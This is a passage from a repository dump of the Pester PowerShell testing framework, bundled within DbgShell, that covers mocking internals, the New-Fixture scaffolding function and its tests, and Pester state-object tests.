$ExecutionContext.InvokeProvider.Item.Rename([System.Management.Automation.WildcardPattern]::Escape("Function:\PesterIsMocking_$CommandName"), "$Scope$CommandName", $true) } if ($Alias -and $ExecutionContext.InvokeProvider.Item.Exists("Alias:$Alias", $true, $true)) { $ExecutionContext.InvokeProvider.Item.Remove("Alias:$Alias", $false, $true, $true) } } $mockKeys = [string[]]$mockTable.Keys foreach ($mockKey in $mockKeys) { $mock = $mockTable[$mockKey] $mock.Blocks = @($mock.Blocks | & $SafeCommands['Where-Object'] {$_.Scope -ne $currentScope}) if ($null -eq $parentScope) { $null = Invoke-InMockScope -SessionState $mock.SessionState -ScriptBlock $scriptBlock -ArgumentList $mock.CommandName, $mock.FunctionScope, $mock.Alias $mockTable.Remove($mockKey) } else { foreach ($historyEntry in $mock.CallHistory) { if ($historyEntry.Scope -eq $currentScope) { $historyEntry.Scope = $parentScope } } } } } function Validate-Command([string]$CommandName, [string]$ModuleName) { $module = $null $origCommand = $null $commandInfo = & $SafeCommands['New-Object'] psobject -Property @{ Command = $null; Scope = '' } $scriptBlock = { $getContentCommand = & (Pester\SafeGetCommand) Get-Content -Module Microsoft.PowerShell.Management -CommandType Cmdlet $newObjectCommand = & (Pester\SafeGetCommand) New-Object -Module Microsoft.PowerShell.Utility -CommandType Cmdlet $command = $ExecutionContext.InvokeCommand.GetCommand($args[0], 'All') while ($null -ne $command -and $command.CommandType -eq [System.Management.Automation.CommandTypes]::Alias) { $command = $command.ResolvedCommand } $properties = @{ Command = $command } if ($null -ne $command -and $command.CommandType -eq 'Function') { if ($ExecutionContext.InvokeProvider.Item.Exists("function:\global:$($command.Name)", $true, $true) -and (& $getContentCommand -LiteralPath "function:\global:$($command.Name)" -ErrorAction Stop) -eq $command.ScriptBlock) { $properties['Scope'] = 'global:' } elseif ($ExecutionContext.InvokeProvider.Item.Exists("function:\script:$($command.Name)", $true, $true) -and (& $getContentCommand -LiteralPath "function:\script:$($command.Name)" -ErrorAction Stop) -eq $command.ScriptBlock) { $properties['Scope'] = 'script:' } else { $properties['Scope'] = '' } } return & $newObjectCommand psobject -Property $properties } if ($ModuleName) { $module = Get-ScriptModule -ModuleName $ModuleName -ErrorAction Stop $commandInfo = & $module $scriptBlock $CommandName } $session = $pester.SessionState if (-not $commandInfo.Command) { Set-ScriptBlockScope -ScriptBlock $scriptBlock -SessionState $session $commandInfo = & $scriptBlock $commandName } if (-not $commandInfo.Command) { throw ([System.Management.Automation.CommandNotFoundException] "Could not find Command $commandName") } if ($module) { $session = & $module { $ExecutionContext.SessionState } } $hash = @{Command = $commandInfo.Command; Session = $session} if ($commandInfo.Command.CommandType -eq 'Function') { $hash['Scope'] = $commandInfo.Scope } return $hash } function MockPrototype { if ($PSVersionTable.PSVersion.Major -ge 3) { [string] ${ignore preference} = 'Ignore' } else { [string] ${ignore preference} = 'SilentlyContinue' } ${get Variable Command} = & (Pester\SafeGetCommand) -Name Get-Variable -Module Microsoft.PowerShell.Utility -CommandType Cmdlet [object] ${a r g s} = $null if (${#CANCAPTUREARGS#}) { ${a r g s} = & ${get Variable Command} -Name args -ValueOnly -Scope Local -ErrorAction ${ignore preference} } if ($null -eq ${a r g s}) { ${a r g s} = @() } ${p s cmdlet} = & ${get Variable Command} -Name PSCmdlet -ValueOnly -Scope Local -ErrorAction ${ignore preference} ${session state} = if (${p s cmdlet}) { ${p s cmdlet}.SessionState } # @{mock call state} initialization is injected only into the begin block by the code that uses this prototype. Invoke-Mock -CommandName '#FUNCTIONNAME#' -ModuleName '#MODULENAME#' -BoundParameters $PSBoundParameters -ArgumentList ${a r g s} -CallerSessionState ${session state} -FromBlock '#BLOCK#' -MockCallState ${mock call state} #INPUT# } function Invoke-Mock { <# .SYNOPSIS This command is used by Pester's Mocking framework. You do not need to call it directly. #> [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [string] $CommandName, [Parameter(Mandatory = $true)] [hashtable] $MockCallState, [string] $ModuleName, [hashtable] $BoundParameters = @{}, [object[]] $ArgumentList = @(), [object] $CallerSessionState, [ValidateSet('Begin', 'Process', 'End')] [string] $FromBlock, [object] $InputObject ) $detectedModule = $ModuleName $mock = FindMock -CommandName $CommandName -ModuleName ([ref]$detectedModule) if ($null -eq $mock) { # If this ever happens, it's a bug in Pester. The scriptBlock that calls Invoke-Mock should be removed at the same time as the entry in the mock table. throw "Internal error detected: Mock for '$CommandName' in module '$ModuleName' was called, but does not exist in the mock table." } switch ($FromBlock) { Begin { $MockCallState['InputObjects'] = & $SafeCommands['New-Object'] System.Collections.ArrayList $MockCallState['ShouldExecuteOriginalCommand'] = $false $MockCallState['BeginBoundParameters'] = $BoundParameters.Clone() $MockCallState['BeginArgumentList'] = $ArgumentList return } Process { $block = $null if ($detectedModule -eq $ModuleName) { $block = FindMatchingBlock -Mock $mock -BoundParameters $BoundParameters -ArgumentList $ArgumentList } if ($null -ne $block) { ExecuteBlock -Block $block ` -CommandName $CommandName ` -ModuleName $ModuleName ` -BoundParameters $BoundParameters ` -ArgumentList $ArgumentList ` -Mock $mock return } else { $MockCallState['ShouldExecuteOriginalCommand'] = $true if ($null -ne $InputObject) { $null = $MockCallState['InputObjects'].AddRange(@($InputObject)) } return } } End { if ($MockCallState['ShouldExecuteOriginalCommand']) { if ($MockCallState['InputObjects'].Count -gt 0) { $scriptBlock = { param ($Command, $ArgumentList, $BoundParameters, $InputObjects) $InputObjects | & $Command @ArgumentList @BoundParameters } } else { $scriptBlock = { param ($Command, $ArgumentList, $BoundParameters, $InputObjects) & $Command @ArgumentList @BoundParameters } } $state = if ($CallerSessionState) { $CallerSessionState } else { $mock.SessionState } Set-ScriptBlockScope -ScriptBlock $scriptBlock -SessionState $state & $scriptBlock -Command $mock.OriginalCommand ` -ArgumentList $MockCallState['BeginArgumentList'] ` -BoundParameters $MockCallState['BeginBoundParameters'] ` -InputObjects $MockCallState['InputObjects'] } } } } function FindMock { param ( [string] $CommandName, [ref] $ModuleName ) $mock = $mockTable["$($ModuleName.Value)||$CommandName"] if ($null -eq $mock) { $mock = $mockTable["||$CommandName"] if ($null -ne $mock) { $ModuleName.Value = '' } } return $mock } function FindMatchingBlock { param ( [object] $Mock, [hashtable] $BoundParameters = @{}, [object[]] $ArgumentList = @() ) for ($idx = $mock.Blocks.Length; $idx -gt 0; $idx--) { $block = $mock.Blocks[$idx - 1] $params = @{ ScriptBlock = $block.Filter BoundParameters = $BoundParameters ArgumentList = $ArgumentList Metadata = $mock.Metadata } if (Test-ParameterFilter @params) { return $block } } return $null } function ExecuteBlock { param ( [object] $Block, [object] $Mock, [string] $CommandName, [string] $ModuleName, [hashtable] $BoundParameters = @{}, [object[]] $ArgumentList = @() ) $Block.Verifiable = $false $Mock.CallHistory += @{CommandName = "$ModuleName||$CommandName"; BoundParams = $BoundParameters; Args = $ArgumentList; Scope = $pester.Scope } $scriptBlock = { param ( [Parameter(Mandatory = $true)] [scriptblock] ${Script Block}, [hashtable] $___BoundParameters___ = @{}, [object[]] $___ArgumentList___ = @(), [System.Management.Automation.CommandMetadata] ${Meta data}, [System.Management.Automation.SessionState] ${Session State} ) # This script block exists to hold variables without polluting the test script's current scope. # Dynamic parameters in functions, for some reason, only exist in $PSBoundParameters instead # of being assigned a local variable the way static parameters do. By calling Set-DynamicParameterVariables, # we create these variables for the caller's use in a Parameter Filter or within the mock itself, and # by doing it inside this temporary script block, those variables don't stick around longer than they # should. Set-DynamicParameterVariables -SessionState ${Session State} -Parameters $___BoundParameters___ -Metadata ${Meta data} & ${Script Block} @___BoundParameters___ @___ArgumentList___ } Set-ScriptBlockScope -ScriptBlock $scriptBlock -SessionState $mock.SessionState $splat = @{ 'Script Block' = $block.Mock '___ArgumentList___' = $ArgumentList '___BoundParameters___' = $BoundParameters 'Meta data' = $mock.Metadata 'Session State' = $mock.SessionState } & $scriptBlock @splat } function Invoke-InMockScope { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [System.Management.Automation.SessionState] $SessionState, [Parameter(Mandatory = $true)] [scriptblock] $ScriptBlock, [Parameter(ValueFromRemainingArguments = $true)] [object[]] $ArgumentList = @() ) if ($SessionState.Module) { $SessionState.Module.Invoke($ScriptBlock, $ArgumentList) } else { Set-ScriptBlockScope -ScriptBlock $ScriptBlock -SessionState $SessionState & $ScriptBlock @ArgumentList } } function Test-ParameterFilter { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [scriptblock] $ScriptBlock, [System.Collections.IDictionary] $BoundParameters, [object[]] $ArgumentList, [System.Management.Automation.CommandMetadata] $Metadata ) if ($null -eq $BoundParameters) { $BoundParameters = @{} } if ($null -eq $ArgumentList) { $ArgumentList = @() } $paramBlock = Get-ParamBlockFromBoundParameters -BoundParameters $BoundParameters -Metadata $Metadata $scriptBlockString = " $paramBlock Set-StrictMode -Off $ScriptBlock " $cmd = [scriptblock]::Create($scriptBlockString) Set-ScriptBlockScope -ScriptBlock $cmd -SessionState $pester.SessionState & $cmd @BoundParameters @ArgumentList } function Get-ParamBlockFromBoundParameters { param ( [System.Collections.IDictionary] $BoundParameters, [System.Management.Automation.CommandMetadata] $Metadata ) $params = foreach ($paramName in $BoundParameters.get_Keys()) { if (IsCommonParameter -Name $paramName -Metadata $Metadata) { continue } "`${$paramName}" } $params = $params -join ',' if ($null -ne $Metadata) { $cmdletBinding = [System.Management.Automation.ProxyCommand]::GetCmdletBindingAttribute($Metadata) } else { $cmdletBinding = '' } return "$cmdletBinding param ($params)" } function IsCommonParameter { param ( [string] $Name, [System.Management.Automation.CommandMetadata] $Metadata ) if ($null -ne $Metadata) { if ([System.Management.Automation.Internal.CommonParameters].GetProperty($Name)) { return $true } if ($Metadata.SupportsShouldProcess -and [System.Management.Automation.Internal.ShouldProcessParameters].GetProperty($Name)) { return $true } if ($PSVersionTable.PSVersion.Major -ge 3 -and $Metadata.SupportsPaging -and [System.Management.Automation.PagingParameters].GetProperty($Name)) { return $true } if ($Metadata.SupportsTransactions -and [System.Management.Automation.Internal.TransactionParameters].GetProperty($Name)) { return $true } } return $false } function Get-ScopeForMock { param ($PesterState) $scope = $PesterState.Scope if ($scope -eq 'It') { $scope = $PesterState.ParentScope } return $scope } function Set-DynamicParameterVariables { <# .SYNOPSIS This command is used by Pester's Mocking framework. You do not need to call it directly. #> param ( [Parameter(Mandatory = $true)] [System.Management.Automation.SessionState] $SessionState, [hashtable] $Parameters, [System.Management.Automation.CommandMetadata] $Metadata ) if ($null -eq $Parameters) { $Parameters = @{} } foreach ($keyValuePair in $Parameters.GetEnumerator()) { $variableName = $keyValuePair.Key if (-not (IsCommonParameter -Name $variableName -Metadata $Metadata)) { if ($ExecutionContext.SessionState -eq $SessionState) { & $SafeCommands['Set-Variable'] -Scope 1 -Name $variableName -Value $keyValuePair.Value -Force -Confirm:$false -WhatIf:$false } else { $SessionState.PSVariable.Set($variableName, $keyValuePair.Value) } } } } function Get-DynamicParamBlock { param ( [scriptblock] $ScriptBlock ) if ($PSVersionTable.PSVersion.Major -le 2) { $flags = [System.Reflection.BindingFlags]'Instance, NonPublic' $dynamicParams = [scriptblock].GetField('_dynamicParams', $flags).GetValue($ScriptBlock) if ($null -ne $dynamicParams) { return $dynamicParams.ToString() } } else { if ($null -ne $ScriptBlock.Ast.Body.DynamicParamBlock) { $statements = $ScriptBlock.Ast.Body.DynamicParamBlock.Statements | & $SafeCommands['Select-Object'] -ExpandProperty Extent | & $SafeCommands['Select-Object'] -ExpandProperty Text return $statements -join "`r`n" } } } function Get-MockDynamicParameters { <# .SYNOPSIS This command is used by Pester's Mocking framework. You do not need to call it directly. #> [CmdletBinding()] param ( [Parameter(Mandatory = $true, ParameterSetName = 'Cmdlet')] [string] $CmdletName, [Parameter(Mandatory = $true, ParameterSetName = 'Function')] [string] $FunctionName, [Parameter(ParameterSetName = 'Function')] [string] $ModuleName, [System.Collections.IDictionary] $Parameters, [object] $Cmdlet ) switch ($PSCmdlet.ParameterSetName) { 'Cmdlet' { Get-DynamicParametersForCmdlet -CmdletName $CmdletName -Parameters $Parameters } 'Function' { Get-DynamicParametersForMockedFunction -FunctionName $FunctionName -ModuleName $ModuleName -Parameters $Parameters -Cmdlet $Cmdlet } } } function Get-DynamicParametersForCmdlet { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [string] $CmdletName, [ValidateScript({ if ($PSVersionTable.PSVersion.Major -ge 3 -and $null -ne $_ -and $_.GetType().FullName -ne 'System.Management.Automation.PSBoundParametersDictionary') { throw 'The -Parameters argument must be a PSBoundParametersDictionary object ($PSBoundParameters).' } return $true })] [System.Collections.IDictionary] $Parameters ) try { $command = & $SafeCommands['Get-Command'] -Name $CmdletName -CommandType Cmdlet -ErrorAction Stop if (@($command).Count -gt 1) { throw "Name '$CmdletName' resolved to multiple Cmdlets" } } catch { $PSCmdlet.ThrowTerminatingError($_) } if ($null -eq $command.ImplementingType.GetInterface('IDynamicParameters', $true)) { return } if ($PSVersionTable.PSVersion -ge '5.0.10586.122') { # Older version of PS required Reflection to do this. It has run into problems on occasion with certain cmdlets, # such as ActiveDirectory and AzureRM, so we'll take advantage of the newer PSv5 engine features if at all possible. if ($null -eq $Parameters) { $paramsArg = @() } else { $paramsArg = @($Parameters) } $command = $ExecutionContext.InvokeCommand.GetCommand($CmdletName, [System.Management.Automation.CommandTypes]::Cmdlet, $paramsArg) $paramDictionary = [System.Management.Automation.RuntimeDefinedParameterDictionary]::new() foreach ($param in $command.Parameters.Values) { if (-not $param.IsDynamic) { continue } if ($Parameters.ContainsKey($param.Name)) { continue } $dynParam = [System.Management.Automation.RuntimeDefinedParameter]::new($param.Name, $param.ParameterType, $param.Attributes) $paramDictionary.Add($param.Name, $dynParam) } return $paramDictionary } else { if ($null -eq $Parameters) { $Parameters = @{} } $cmdlet = & $SafeCommands['New-Object'] $command.ImplementingType.FullName $flags = [System.Reflection.BindingFlags]'Instance, Nonpublic' $context = $ExecutionContext.GetType().GetField('_context', $flags).GetValue($ExecutionContext) [System.Management.Automation.Cmdlet].GetProperty('Context', $flags).SetValue($cmdlet, $context, $null) foreach ($keyValuePair in $Parameters.GetEnumerator()) { $property = $cmdlet.GetType().GetProperty($keyValuePair.Key) if ($null -eq $property -or -not $property.CanWrite) { continue } $isParameter = [bool]($property.GetCustomAttributes([System.Management.Automation.ParameterAttribute], $true)) if (-not $isParameter) { continue } $property.SetValue($cmdlet, $keyValuePair.Value, $null) } try { # This unary comma is important in some cases. On Windows 7 systems, the ActiveDirectory module cmdlets # return objects from this method which implement IEnumerable for some reason, and even cause PowerShell # to throw an exception when it tries to cast the object to that interface. # We avoid that problem by wrapping the result of GetDynamicParameters() in a one-element array with the # unary comma. PowerShell enumerates that array instead of trying to enumerate the goofy object, and # everyone's happy. # Love the comma. Don't delete it. We don't have a test for this yet, unless we can get the AD module # on a Server 2008 R2 build server, or until we write some C# code to reproduce its goofy behavior. ,$cmdlet.GetDynamicParameters() } catch [System.NotImplementedException] { # Some cmdlets implement IDynamicParameters but then throw a NotImplementedException. I have no idea why. Ignore them. } } } function Get-DynamicParametersForMockedFunction { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [string] $FunctionName, [string] $ModuleName, [System.Collections.IDictionary] $Parameters, [object] $Cmdlet ) $mock = $mockTable["$ModuleName||$FunctionName"] if (-not $mock) { throw "Internal error detected: Mock for '$FunctionName' in module '$ModuleName' was called, but does not exist in the mock table." } if ($mock.DynamicParamScriptBlock) { $splat = @{ 'P S Cmdlet' = $Cmdlet } return & $mock.DynamicParamScriptBlock @Parameters @splat } } function Test-IsClosure { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [scriptblock] $ScriptBlock ) $sessionStateInternal = Get-ScriptBlockScope -ScriptBlock $ScriptBlock $flags = [System.Reflection.BindingFlags]'Instance,NonPublic' $module = $sessionStateInternal.GetType().GetProperty('Module', $flags).GetValue($sessionStateInternal, $null) return ( $null -ne $module -and $module.Name -match '^__DynamicModule_([a-f\d-]+)$' -and $null -ne ($matches[1] -as [guid]) ) } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/New-Fixture.Tests.ps1 ================================================ Set-StrictMode -Version Latest Describe "New-Fixture" { It "Name parameter is mandatory:" { (get-command New-Fixture ).Parameters.Name.ParameterSets.__AllParameterSets.IsMandatory | Should Be $true } Context "Only Name parameter is specified:" { It "Creates fixture in current directory:" { $name = "Test-Fixture" $path = "TestDrive:\" pushd $path New-Fixture -Name $name | Out-Null popd Join-Path -Path $path -ChildPath "$name.ps1" | Should Exist Join-Path -Path $path -ChildPath "$name.Tests.ps1" | Should Exist } } Context "Name and Path parameter is specified:" { #use different fixture names to avoid interference among the test cases #cleaning up would be also possible, but difficult if the assertion fails It "Creates fixture in full Path:" { $name = "Test-Fixture" $path = "TestDrive:\full" New-Fixture -Name $name -Path $path | Out-Null Join-Path -Path $path -ChildPath "$name.ps1" | Should Exist Join-Path -Path $path -ChildPath "$name.Tests.ps1" | Should Exist #cleanup Join-Path -Path "$path" -ChildPath "$name.ps1" | Remove-Item -Force Join-Path -Path "$path" -ChildPath "$name.Tests.ps1" | Remove-Item -Force } It "Creates fixture in relative Path:" { $name = "Relative1-Fixture" $path = "TestDrive:\" pushd $path New-Fixture -Name $name -Path relative | Out-Null popd Join-Path -Path "$path\relative" -ChildPath "$name.ps1" | Should Exist Join-Path -Path "$path\relative" -ChildPath "$name.Tests.ps1" | Should Exist } It "Creates fixture if Path is set to '.':" { $name = "Relative2-Fixture" $path = "TestDrive:\" pushd $path New-Fixture -Name $name -Path . | Out-Null popd Join-Path -Path "$path" -ChildPath "$name.ps1" | Should Exist Join-Path -Path "$path" -ChildPath "$name.Tests.ps1" | Should Exist } It "Creates fixture if Path is set to '(pwd)':" { $name = "Relative3-Fixture" $path = "TestDrive:\" pushd $path New-Fixture -Name $name -Path (pwd) | Out-Null popd Join-Path -Path "$path" -ChildPath "$name.ps1" | Should Exist Join-Path -Path "$path" -ChildPath "$name.Tests.ps1" | Should Exist } It "Writes warning if file exists" { $name = "Warning-Fixture" $path = "TestDrive:\" Mock -Verifiable -ModuleName Pester Write-Warning { } #Create the same files twice New-Fixture -Name $name -Path $path | Out-Null New-Fixture -Name $name -Path $path -WarningVariable warnings -WarningAction SilentlyContinue | Out-Null Assert-VerifiableMocks } } #TODO add tests that validate the contents of default files } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/New-Fixture.ps1 ================================================ function New-Fixture { <# .SYNOPSIS This function generates two scripts, one that defines a function and another one that contains its tests. .DESCRIPTION This function generates two scripts, one that defines a function and another one that contains its tests. The files are by default placed in the current directory and are called and populated as such: The script defining the function: .\Clean.ps1: function Clean { } The script containing the example test .\Clean.Tests.ps1: $here = Split-Path -Parent $MyInvocation.MyCommand.Path $sut = (Split-Path -Leaf $MyInvocation.MyCommand.Path).Replace(".Tests.", ".") . "$here\$sut" Describe "Clean" { It "does something useful" { $false | Should Be $true } } .PARAMETER Name Defines the name of the function and the name of the test to be created. .PARAMETER Path Defines path where the test and the function should be created, you can use full or relative path. If the parameter is not specified the scripts are created in the current directory. .EXAMPLE New-Fixture -Name Clean Creates the scripts in the current directory. .EXAMPLE New-Fixture C:\Projects\Cleaner Clean Creates the scripts in the C:\Projects\Cleaner directory. .EXAMPLE New-Fixture Cleaner Clean Creates a new folder named Cleaner in the current directory and creates the scripts in it. .LINK Describe Context It about_Pester about_Should #> param ( [String]$Path = $PWD, [Parameter(Mandatory=$true)] [String]$Name ) #region File contents #keep this formatted as is. the format is output to the file as is, including indentation $scriptCode = "function $name {`r`n`r`n}" $testCode = '$here = Split-Path -Parent $MyInvocation.MyCommand.Path $sut = (Split-Path -Leaf $MyInvocation.MyCommand.Path) -replace ''\.Tests\.'', ''.'' . "$here\$sut" Describe "#name#" { It "does something useful" { $true | Should Be $false } }' -replace "#name#",$name #endregion $Path = $ExecutionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath($Path) Create-File -Path $Path -Name "$Name.ps1" -Content $scriptCode Create-File -Path $Path -Name "$Name.Tests.ps1" -Content $testCode } function Create-File ($Path,$Name,$Content) { if (-not (& $SafeCommands['Test-Path'] -Path $Path)) { & $SafeCommands['New-Item'] -ItemType Directory -Path $Path | & $SafeCommands['Out-Null'] } $FullPath = & $SafeCommands['Join-Path'] -Path $Path -ChildPath $Name if (-not (& $SafeCommands['Test-Path'] -Path $FullPath)) { & $SafeCommands['Set-Content'] -Path $FullPath -Value $Content -Encoding UTF8 & $SafeCommands['Get-Item'] -Path $FullPath } else { # This is deliberately not sent through $SafeCommands, because our own tests rely on # mocking Write-Warning, and it's not really the end of the world if this call happens to # be screwed up in an edge case. Write-Warning "Skipping the file '$FullPath', because it already exists." } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/PesterState.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe "New-PesterState" { Context "TestNameFilter parameter is set" { $p = new-pesterstate -TestNameFilter "filter" it "sets the TestNameFilter property" { $p.TestNameFilter | should be "filter" } } Context "TagFilter parameter is set" { $p = new-pesterstate -TagFilter "tag","tag2" it "sets the TestNameFilter property" { $p.TagFilter | should be ("tag","tag2") } } Context "ExcludeTagFilter parameter is set" { $p = new-pesterstate -ExcludeTagFilter "tag3", "tag" it "sets the ExcludeTagFilter property" { $p.ExcludeTagFilter | should be ("tag3", "tag") } } Context "TagFilter and ExcludeTagFilter parameter are set" { $p = new-pesterstate -TagFilter "tag","tag2" -ExcludeTagFilter "tag3" it "sets the TestNameFilter property" { $p.TagFilter | should be ("tag","tag2") } it "sets the ExcludeTagFilter property" { $p.ExcludeTagFilter | should be ("tag3") } } Context "TestNameFilter and TagFilter parameter is set" { $p = new-pesterstate -TagFilter "tag","tag2" -testnamefilter "filter" it "sets the TestNameFilter property" { $p.TagFilter | should be ("tag","tag2") } it "sets the TestNameFilter property" { $p.TagFilter | should be ("tag","tag2") } } } Describe "Pester state object" { $p = New-PesterState Context "entering describe" { It "enters describe" { $p.EnterDescribe("describe") $p.CurrentDescribe | should be "Describe" } It "can enter describe only once" { { $p.EnterDescribe("describe") } | Should Throw } It "Reports scope correctly" { $p.Scope | should be "describe" } } Context "leaving describe" { It "leaves describe" { $p.LeaveDescribe() $p.CurrentDescribe | should benullOrEmpty } It "Reports scope correctly" { $p.Scope | should benullOrEmpty } } context "Entering It from Describe" { $p.EnterDescribe('Describe') It "Enters It successfully" { { $p.EnterTest("It") } | Should Not Throw } It "Reports scope correctly" { $p.Scope | Should Be 'It' } It "Cannot enter It after already entered" { { $p.EnterTest("It") } | Should Throw } It "Cannot enter Context from inside It" { { $p.EnterContext("Context") } | Should Throw } } context "Leaving It from Describe" { It "Leaves It to Describe" { { $p.LeaveTest() } | Should Not Throw } It "Reports scope correctly" { $p.Scope | Should Be 'Describe' } $p.LeaveDescribe() } Context "entering Context" { it "Cannot enter Context before Describe" { { $p.EnterContext("context") } | should throw } it "enters context from describe" { $p.EnterDescribe("Describe") $p.EnterContext("Context") $p.CurrentContext | should be "Context" } It "can enter context only once" { { $p.EnterContext("Context") } | Should Throw } It "Reports scope correctly" { $p.Scope | should be "Context" } } Context "leaving context" { it "cannot leave describe before leaving context" { { $p.LeaveDescribe() } | should throw } it "leaves context" { $p.LeaveContext() $p.CurrentContext | should BeNullOrEmpty } It "Returns from context to describe" { $p.Scope | should be "Describe" } $p.LeaveDescribe() } context "Entering It from Context" { $p.EnterDescribe('Describe') $p.EnterContext('Context') It "Enters It successfully" { { $p.EnterTest("It") } | Should Not Throw } It "Reports scope correctly" { $p.Scope | Should Be 'It' } It "Cannot enter It after already entered" { { $p.EnterTest("It") } | Should Throw } } context "Leaving It from Context" { It "Leaves It to Context" { { $p.LeaveTest() } | Should Not Throw } It "Reports scope correctly" { $p.Scope | Should Be 'Context' } $p.LeaveContext() $p.LeaveDescribe() } context "adding test result" { $p.EnterDescribe('Describe') it "adds passed test" { $p.AddTestResult("result","Passed", 100) $result = $p.TestResult[-1] $result.Name | should be "result" $result.passed | should be $true $result.Result | Should be "Passed" $result.time.ticks | should be 100 } it "adds failed test" { try { throw 'message' } catch { $e = $_ } $p.AddTestResult("result","Failed", 100, "fail", "stack","suite name",@{param='eters'},$e) $result = $p.TestResult[-1] $result.Name | should be "result" $result.passed | should be $false $result.Result | Should be "Failed" $result.time.ticks | should be 100 $result.FailureMessage | should be "fail" $result.StackTrace | should be "stack" $result.ParameterizedSuiteName | should be "suite name" $result.Parameters['param'] | should be 'eters' $result.ErrorRecord.Exception.Message | should be 'message' } it "adds skipped test" { $p.AddTestResult("result","Skipped", 100) $result = $p.TestResult[-1] $result.Name | should be "result" $result.passed | should be $true $result.Result | Should be "Skipped" $result.time.ticks | should be 100 } it "adds Pending test" { $p.AddTestResult("result","Pending", 100) $result = $p.TestResult[-1] $result.Name | should be "result" $result.passed | should be $true $result.Result | Should be "Pending" $result.time.ticks | should be 100 } it "can add test result before entering describe" { if ($p.CurrentContext) { $p.LeaveContext()} if ($p.CurrentDescribe) { $p.LeaveDescribe() } { $p.addTestResult(1,"Passed",1) } | should not throw } $p.LeaveContext() $p.LeaveDescribe() } Context "Path and TestNameFilter parameter is set" { $strict = New-PesterState -Strict It "Keeps Passed state" { $strict.AddTestResult("test","Passed") $result = $strict.TestResult[-1] $result.passed | should be $true $result.Result | Should be "Passed" } It "Keeps Failed state" { $strict.AddTestResult("test","Failed") $result = $strict.TestResult[-1] $result.passed | should be $false $result.Result | Should be "Failed" } It "Changes Pending state to Failed" { $strict.AddTestResult("test","Pending") $result = $strict.TestResult[-1] $result.passed | should be $false $result.Result | Should be "Failed" } It "Changes Skipped state to Failed" { $strict.AddTestResult("test","Skipped") $result = $strict.TestResult[-1] $result.passed | should be $false $result.Result | Should be "Failed" } } } Describe ConvertTo-FailureLines { $testPath = Join-Path $TestDrive test.ps1 $escapedTestPath = [regex]::Escape($testPath) It 'produces correct message lines.' { try { throw 'message' } catch { $e = $_ } $r = $e | ConvertTo-FailureLines $r.Message[0] | Should be 'RuntimeException: message' $r.Message.Count | Should be 1 } It 'failed should produces correct message lines.' { try { 'One' | Should be 'Two' } catch { $e = $_ } $r = $e | ConvertTo-FailureLines $r.Message[0] | Should be 'String lengths are both 3. Strings differ at index 0.' $r.Message[1] | Should be 'Expected: {Two}' $r.Message[2] | Should be 'But was: {One}' $r.Message[3] | Should be '-----------^' $r.Message[4] | Should match "'One' | Should be 'Two'" $r.Message.Count | Should be 5 } Context 'should fails in file' { Set-Content -Path $testPath -Value @' $script:IgnoreErrorPreference = 'SilentlyContinue' 'One' | Should be 'Two' '@ try { & $testPath } catch { $e = $_ } $r = $e | ConvertTo-FailureLines It 'produces correct message lines.' { $r.Message[0] | Should be 'String lengths are both 3. Strings differ at index 0.' $r.Message[1] | Should be 'Expected: {Two}' $r.Message[2] | Should be 'But was: {One}' $r.Message[3] | Should be '-----------^' $r.Message[4] | Should be "2: 'One' | Should be 'Two'" $r.Message.Count | Should be 5 } if ( $e | Get-Member -Name ScriptStackTrace ) { It 'produces correct trace lines.' { $r.Trace[0] | Should be "at , $testPath`: line 2" $r.Trace[1] -match 'at , .*\\Functions\\PesterState.Tests.ps1: line [0-9]*$' | Should be $true $r.Trace.Count | Should be 2 } } else { It 'produces correct trace lines.' { $r.Trace[0] | Should be "at line: 2 in $testPath" $r.Trace.Count | Should be 1 } } } Context 'exception thrown in nested functions in file' { Set-Content -Path $testPath -Value @' function f1 { throw 'f1 message' } function f2 { f1 } f2 '@ try { & $testPath } catch { $e = $_ } $r = $e | ConvertTo-FailureLines It 'produces correct message lines.' { $r.Message[0] | Should be 'RuntimeException: f1 message' } if ( $e | Get-Member -Name ScriptStackTrace ) { It 'produces correct trace lines.' { $r.Trace[0] | Should be "at f1, $testPath`: line 2" $r.Trace[1] | Should be "at f2, $testPath`: line 5" $r.Trace[2] | Should be "at , $testPath`: line 7" $r.Trace[3] -match 'at , .*\\Functions\\PesterState.Tests.ps1: line [0-9]*$' | Should be $true $r.Trace.Count | Should be 4 } } else { It 'produces correct trace lines.' { $r.Trace[0] | Should be "at line: 2 in $testPath" $r.Trace.Count | Should be 1 } } } Context 'nested exceptions thrown in file' { Set-Content -Path $testPath -Value @' try { throw New-Object System.ArgumentException( 'inner message', 'param_name' ) } catch { throw New-Object System.FormatException( 'outer message', $_.Exception ) } '@ try { & $testPath } catch { $e = $_ } $r = $e | ConvertTo-FailureLines It 'produces correct message lines.' { $r.Message[0] | Should be 'ArgumentException: inner message' $r.Message[1] | Should be 'Parameter name: param_name' $r.Message[2] | Should be 'FormatException: outer message' } if ( $e | Get-Member -Name ScriptStackTrace ) { It 'produces correct trace line.' { $r.Trace[0] | Should be "at , $testPath`: line 10" $r.Trace[1] -match 'at , .*\\Functions\\PesterState.Tests.ps1: line [0-9]*$' $r.Trace.Count | Should be 2 } } else { It 'produces correct trace line.' { $r.Trace[0] | Should be "at line: 10 in $testPath" $r.Trace.Count | Should be 1 } } } } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/PesterState.ps1 ================================================ function New-PesterState { param ( [String[]]$TagFilter, [String[]]$ExcludeTagFilter, [String[]]$TestNameFilter, [System.Management.Automation.SessionState]$SessionState, [Switch]$Strict, [Pester.OutputTypes]$Show = 'All', [object]$PesterOption ) if ($null -eq $SessionState) { $SessionState = $ExecutionContext.SessionState } if ($null -eq $PesterOption) { $PesterOption = New-PesterOption } elseif ($PesterOption -is [System.Collections.IDictionary]) { try { $PesterOption = New-PesterOption @PesterOption } catch { throw } } & $SafeCommands['New-Module'] -Name Pester -AsCustomObject -ScriptBlock { param ( [String[]]$_tagFilter, [String[]]$_excludeTagFilter, [String[]]$_testNameFilter, [System.Management.Automation.SessionState]$_sessionState, 